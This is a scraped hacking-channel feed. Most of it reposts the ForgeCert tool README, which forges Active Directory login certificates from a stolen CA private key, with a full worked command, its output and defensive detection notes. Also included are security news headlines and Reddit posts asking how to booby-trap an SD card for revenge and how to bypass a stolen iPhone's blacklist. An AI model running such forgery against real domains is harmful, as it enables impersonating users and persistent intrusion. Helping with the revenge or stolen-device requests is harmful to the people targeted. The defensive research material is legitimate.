Hacking Articles
Windows Privilege Escalation: Unquoted Service Path

Unquoted Path or Unquoted Service path is reported as a critical vulnerability in Windows, such vulnerability allows an attacker to escalate the privilege for NT AUTHORITY/SYSTEM for a low-level privilege user account. Table of Content Introduction Vulnerability Insight Prerequisite Lab Setup Abusing Unquoted Service Paths Mitigation Introduction Unquoted Service Path

The post Windows Privilege Escalation: Unquoted Service Path appeared first on Hacking Articles.

___________________________
@hacking_Attack
@Hacking_Video

ForgeCert - "Golden" Certificates
http://www.kitploit.com/2021/10/forgecert-golden-certificates.html

___________________________
@hacking_Attack
@Hacking_Video

ForgeCert uses the BouncyCastle C# API (https://www.bouncycastle.org/csharp/index.html) and a stolen Certificate Authority (CA) certificate + private key to forge certificates for arbitrary users capable of authentication (https://www.kitploit.com/search/label/Authentication) to Active Directory. This attack is codified as DPERSIST1 in our "Certified Pre-Owned" whitepaper (https://specterops.io/assets/resources/Certified_Pre-Owned.pdf). This code base was released ~45 days after the whitepaper was published. @tifkin_ (https://twitter.com/tifkin_) is the primary author of ForgeCert. @tifkin_ (https://twitter.com/tifkin_) and @harmj0y (https://twitter.com/harmj0y) are the primary authors of the associated Active Directory Certificate (https://www.kitploit.com/search/label/Active%20Directory%20Certificate) Service research (blog (https://posts.specterops.io/certified-pre-owned-d95910965cd2) and whitepaper (https://specterops.io/assets/resources/Certified_Pre-Owned.pdf)).
Background
As described in the Background and Forging Certificates (https://www.kitploit.com/search/label/Certificates) with Stolen CA Certificates - DPERSIST1 sections of our whitepaper (https://specterops.io/assets/resources/Certified_Pre-Owned.pdf), the private key for a Certificate Authority's CA certificate is protected on the CA server either via DPAPI or hardware (HSM/TPM). Additionally, the certificate (sans private key) is published to the NTAuthCertificates forest object, which defines CA certificates that enable authentication to AD. Put together, a CA whose certificate is present in NTAuthCertificates uses its private key to sign certificate signing requests (CSRs) from requesting clients. This graphic summarizes the process:

___________________________
@hacking_Attack
@Hacking_Video

Command Line Usage
ForgeCert.exe ForgeCert 1.0.0.0 Copyright c 2021 ERROR(S): Required option 'CaCertPath' is missing. Required option 'SubjectAltName' is missing. Required option 'NewCertPath' is missing. Required option 'NewCertPassword' is missing. --CaCertPath Required. CA private key as a .pfx or .p12 file --CaCertPassword Password to the CA private key file --Subject (Default: CN=User) Subject name in the certificate --SubjectAltName Required. UPN of the user to authenticate as --NewCertPath Required. Path where to save the new .pfx certificate --NewCertPassword Required. Password to the .pfx file --CRL ldap path to a CRL for the forged certificate --help Display this help screen. --version Display version information. ">C:\Temp>ForgeCert.exe
ForgeCert 1.0.0.0
Copyright c 2021

ERROR(S):
Required option 'CaCertPath' is missing.
Required option 'SubjectAltName' is missing.
Required option 'NewCertPath' is missing.
Required option 'NewCertPassword' is missing.

--CaCertPath Required. CA private key as a .pfx or .p12 file

--CaCertPassword Password to the CA private key file

--Subject (Default: CN=User) Subject name in the certificate

--SubjectAltName Required. UPN of the user to authenticate as

--NewCertPath Required. Path where to save the new .pfx certificate

--NewCertPassword Required. Password to the .pfx file

--CRL ldap path to a CRL for the forged certificate

--help Display this help screen.

--version Display version information.


Usage
Note: for a complete walkthrough of stealing a CA private key and forging auth certs, see DPERSIST1 in the whitepaper (https://specterops.io/assets/resources/Certified_Pre-Owned.pdf). Context: The stolen CA's certificate is ca.pfx, encrypted with a password of Password123! The subject is arbitrary since we're specifying a subject alternative name for the certificate. The subject alternative name (i.e., the user we're forging a certificate for), is localadmin@theshire.local. The forged certificate will be saved as localadmin.pfx, encrypted with the password NewPassword123! ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword "Password123!" --Subject "CN=User" --SubjectAltName "localadmin@theshire.local" --NewCertPath localadmin.pfx --NewCertPassword "NewPassword123!" CA Certificate Information: Subject: CN=theshire-DC-CA, DC=theshire, DC=local Issuer: CN=theshire-DC-CA, DC=theshire, DC=local Start Date: 1/4/2021 10:48:02 AM End Date: 1/4/2026 10:58:02 AM Thumbprint: 187D81530E1ADBB6B8B9B961EAADC1F597E6D6A2 Serial: 14BFC25F2B6EEDA94404D5A5B0F33E21 Forged Certificate Information: Subject: CN=User SubjectAltName: localadmin@theshire.local Issuer: CN=theshire-DC-CA, DC=theshire, DC=local Start Date: 7/26/2021 3:38:45 PM End Date: 7/26/2022 3:38:45 PM Thumbprint: C5789A24E91A40819EFF7CFD77150595F8B9878D Serial: 3627A48F90F6869C3215FF05BC3B2E42 Done. Saved forged certificate to localadmin.pfx with the password 'NewPassword123!' ">C:\Tools\ForgeCert>ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword "Password123!" --Subject "CN=User" --SubjectAltName "localadmin@theshire.local" --NewCertPath localadmin.pfx --NewCertPassword "NewPassword123!"
CA Certificate Information:
Subject: CN=theshire-DC-CA, DC=theshire, DC=local
Issuer: CN=theshire-DC-CA, DC=theshire, DC=local
Start Date: 1/4/2021 10:48:02 AM
End Date: 1/4/2026 10:58:02 AM
Thumbprint: 187D81530E1ADBB6B8B9B961EAADC1F597E6D6A2
Serial: 14BFC25F2B6EEDA94404D5A5B0F33E21

Forged Certificate Information:
Subject: CN=User
SubjectAltName: localadmin@theshire.local

___________________________
@hacking_Attack
@Hacking_Video

Issuer: CN=theshire-DC-CA, DC=theshire, DC=local
Start Date: 7/26/2021 3:38:45 PM
End Date: 7/26/2022 3:38:45 PM
Thumbprint: C5789A24E91A40819EFF7CFD77150595F8B9878D
Serial: 3627A48F90F6869C3215FF05BC3B2E42

Done. Save d forged certificate to localadmin.pfx with the password 'NewPassword123!'
This forgery can be done on an attacker-controlled system, and the resulting certificate can be used with Rubeus (https://github.com/GhostPack/Rubeus) to request a TGT (and/or retrieve the user's NTLM ;)
Defensive Considerations
The TypeRefHash (https://www.gdatasoftware.com/blog/2020/06/36164-introducing-the-typerefhash-trh) of the current ForgeCert codebase is b26b451ff2c947ae5904f962e56facbb45269995fbb813070386472f307cfcf0. The TypeLib GUID of ForgeCert is bd346689-8ee6-40b3-858b-4ed94f08d40a. This is reflected in the Yara rules currently in this repo. See PREVENT1, DETECT3, and DETECT5 in our whitepaper (https://specterops.io/assets/resources/Certified_Pre-Owned.pdf) for prevention and detection guidance. Fabian Bader (https://twitter.com/fabian_bader) published a great post on how to mitigate many uses of "Golden Certificates" (https://cloudbrothers.info/en/golden-certificate-ocsp/) through OSCP tweaks. Note thought that in the Final Thoughts section he mentions This method is not bulletproof at all. Since the attacker is in charge of the certificate creation process, she could just change the serial number to a valid one. This was implemented in his PR (https://github.com/GhostPack/ForgeCert/commit/a202e03d7cee48413514c8659ad042a7f546d94b), though remember that by default the serial number will be randomized, meaning the OSCP prevention should work in many cases and is worth implementing in our opinion. We believe there may opportunities to build Yara/other detection rules for types of forged certificates this project produces - if any defensive researchers find a good way to signature these files, please let us know and we will update the Yara rules/defensive guidance here.
Reflections
There is a clear parallel between "Golden Tickets" (forged TGTs) and these "Golden Certificates" (forced AD CS certs). Both the krbtgt hash and CA private key are cryptographic material critical to the security of an Active Directory (https://www.kitploit.com/search/label/Active%20Directory) environment, and both can be used to forge authenticators for arbitrary users. However, while the krbtgt hash can be retrieved remotely over DCSync, a CA private key must (at least as far as we know) be recovered through code execution on the CA machine itself. While a krbtgt hash can be rotated relatively easily, rotating a CA private key is significantly more difficult. On the subject of public disclosure, we self-embargoed the release of our offensive tooling (ForgeCert as well as Certify (https://github.com/GhostPack/Certify)) for ~45 days after we published our whitepaper (https://specterops.io/assets/resources/Certified_Pre-Owned.pdf) in order to give organizations a chance to get a grip on the issues surrounding Active Directory Certificate Services. However, we have found that organizations and vendors have historically often not fixed issues or built detections for "theoretical" attacks until someone proves something is possible with a proof of concept. This is reflected in some people's reaction to the research of this IS StUPId, oF COurse YoU Can FORge CERts WITH ThE ca PriVAtE KeY. To which we state, yes, many things are possible, but PoC||GTFO

Download ForgeCert (https://github.com/GhostPack/ForgeCert)

___________________________
@hacking_Attack
@Hacking_Video

KitPloit - PenTest Tools!
ForgeCert - "Golden" Certificates

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Digging Deep Into the Top Security Certifications

When it comes to technical certifications, which ones pay off so you can get that infosec job or more money for the one you're already doing?

Dark Reading: Attacks/Breaches
Increased Security Spending to Support Distributed Workforce

Security leaders are deploying or actively considering cloud security, threat intel, and XDR technologies.

Dark Reading: Attacks/Breaches
Enterprise Data Storage Environments Riddled With Vulnerabilities

Many organizations are not properly protecting their storage and backup systems from compromise, new study finds.

Dark Reading: Attacks/Breaches
Praetorian Launches Snowcat Tool for Istio

Snowcat is the world's first static analysis tool dedicated to Istio.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
US Water and Wastewater Facilities Targeted in Cyberattacks, Feds Warn

CISA, FBI, and NSA issue advisory and defense practices to help these utilities thwart "ongoing" threats targeting IT and OT networks.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading: Attacks/Breaches
Deepfence Announces Open Source Availability of ThreatMapper

Cloud native security observability platform seamlessly scans, maps, and ranks application vulnerabilities from development through critical production stage.

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Booby Trapped SD Card

Backstory: My SIL helped set up and take pictures for a friend's wedding. Afterwards the friend decided to be an absolute asshole, didn't pay her/feed her, slandered her within their shared community, and is just continuing to be horrible, while still demanding the photos.

The plan: The pictures will be on an SD card, I want to booby trap the card to be a nusiance. Like make pop ups whenever it's plugged in, or slowly corrupt itself over time. Nothing damaging or illegal to their computer just a little petty payback.

What do I need to do to the card to achieve this? I assume change the firmware to act like a HID and autorun a script. How would I do that?

submitted by /u/gunnarb1890
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
F12 the planet

https://external-preview.redd.it/nWt6Q-0Uk3ZGh5VxJvHE1_Jzi8evdRlkd8lSl8wzGhs.jpg?width=640&crop=smart&auto=webp&s=ca9dfe8184c39281a72505fd88b27cc7073644e9 submitted by /u/SnooDonuts785
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Bypassing blacklist lost or stolen iphone 12 max.

i work a construction gig where we drill and take soil samples from undeveloped lots that are going to be developed. I found a mint condition iphone 12 max on my site the other day and as expected it has been blacklisted as lost or stolen, from the little bit of research i have done it is fruitless to try and search for the original owner and contacting authorities doesnt seem the way to go, low success rate and suspicion i dont need. My question is what can i do about it. The online services are all scams, read that there is a way to shut off allsecurity features and i can use it thru wifi only would be willing to do this. Was thinking that there has to be a way to switch logic board or the imei chip but cant find a used one that would be ideal. Need some ideas here people or it is going to end up getting taken apart and sold for parts which i dont want to do either.

submitted by /u/caveman2217
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
How To Protect Your Crypto Assets From a Phishing Attack

https://cdn-images-1.medium.com/max/800/1*6qRTRsk3w7lJM1US_9yDkQ.jpeg
There was a spike in phishing attacks from April to September this year with the number of branded phishing attacks targeting email users…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video